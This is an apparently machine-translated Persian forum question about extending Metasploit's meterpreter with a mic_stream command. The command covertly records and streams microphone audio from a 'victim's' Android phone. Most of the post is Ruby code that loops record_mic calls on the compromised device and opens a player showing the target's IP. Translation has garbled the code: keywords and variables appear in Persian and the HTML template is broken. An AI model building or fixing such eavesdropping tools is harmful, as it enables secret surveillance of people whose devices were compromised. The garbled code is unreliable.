اندروید – نحوه پخش صوت از تلفن قربانی با اسکریپت metasploit ruby

من می خواهم جریان صوتی میکروفون را در metasploit مانند webcam_stream ایجاد کنم، بنابراین برخی از کدها را به اسکریپت ruby ​​اضافه کردم: (/ usr / share / metasploit-framework / lib / rex / post / meterpreter / ui / console / command_dispatcher / stdapi / webcam.rb )، قطعه کد اضافه شده است:

 def cmd_mic_stream (* args)

print_status ("شروع ...")
stream_path = Rex :: Text.rand_text_alpha (8) + ".wav"
player_path = Rex :: Text.rand_text_alpha (8) + ".html"
مدت زمان = 2
view = true
وقفه = 1800

record_mic_opts = Rex :: Parser :: Arguments.new (
  "-h" => [ false, "Help Banner" ]
  "-d" => [ true, "The stream duration in seconds (Default:2)" ]، # 1/30 دقیقه
  "-s" => [ true, "The stream file path (Default: '#{stream_path}')" ]
  "-t" => [ true, "The stream player path (Default: #{player_path})"]
  "-v" => [ true, "Automatically view the stream (Default: '#{view}')" ]
)

 record_mic_opts.parse (args) انجام دهید، _idx، val |
  انتخاب مورد
  وقتی "-h"
    print_line ("استفاده: record_mic [options]  n")
    print_line ("ضبط صدا از پیش فرض میکروفون")
    print_line (record_mic_opts.usage)
    برگشت
  وقتی "-d"
    مدت زمان = val.to_i
  وقتی "-s"
    stream_path = val
  وقتی "-t"
    player_path = val
  وقتی "-v"
    نمایش = true اگر val = ~ / ^ (f | n | 0) / i
  پایان
پایان

print_status ("آماده سازی بازیکن ...")
<! -
    html =٪ | 



 Metasploit webcam_stream - # {client.sock.peerhost} 




 هدف IP: # {client.sock.peerhost}
زمان شروع: # {Time.now}
وضعیت: 

www.metasploit.com


|
->

:: فایل.open (player_path، 'wb') do | f |
  f.write (html)
پایان
اگر دید
  print_status ("باز کردن بازیکن در: # {player_path}")
  Rex :: Compat.open_file (player_path)
چیز دیگری
  print_status ("لطفا به صورت دستی با مرورگر باز شود: # {player_path}")
پایان

print_status ("جریان ...")
شروع
  :: Timeout.timeout (timeout) انجام دهید
    در حالی که مشتری انجام می دهد
      data = client.webcam.record_mic (مدت زمان)
      اگر داده
         :: فایل.open (stream_path، 'wb') do | d |
         d.write (داده ها)
        پایان
        داده ها = nil
        خواب (5)
      پایان
    پایان
  پایان
نجات :: زمان بندی :: خطا
پایان

print_status ("متوقف شد")
پایان

شما ممکن است متوجه شوید که آن را به فرمان webcam_stream شبیه است، مشکل اینجاست که مرورگر باز می شود، وضعیت خروجی «پخش» می شود، اما صوتی چیزی را بازی نمی کند، فقط چیزی که ممکن است باعث آن شود خالی است؟